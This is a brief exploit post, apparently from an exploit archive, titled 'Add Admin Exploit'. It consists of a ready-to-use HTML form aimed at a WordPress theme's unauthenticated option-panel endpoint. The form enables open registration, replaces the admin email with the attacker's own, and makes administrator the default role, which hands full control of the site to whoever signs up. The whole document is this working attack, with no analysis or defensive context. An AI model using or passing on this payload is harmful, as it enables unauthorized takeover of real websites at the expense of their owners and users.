Add Admin Exploit

Exploit :

<form action="http://site.com/wp-content/themes/yvora/hades_framework/option_panel/ajax.php" method="POST">
<input name="values[0][name]" value="users_can_register">
<input name="values[0][value]" value="1">
<input name="values[1][name]" value="admin_email">
<input name="values[1][value]" value="Your Email here">
<input name="values[2][name]" value="default_role">
<input name="values[2][value]" value="administrator">
<input name="action" value="save">
<input type="submit" value="Submit">
</form>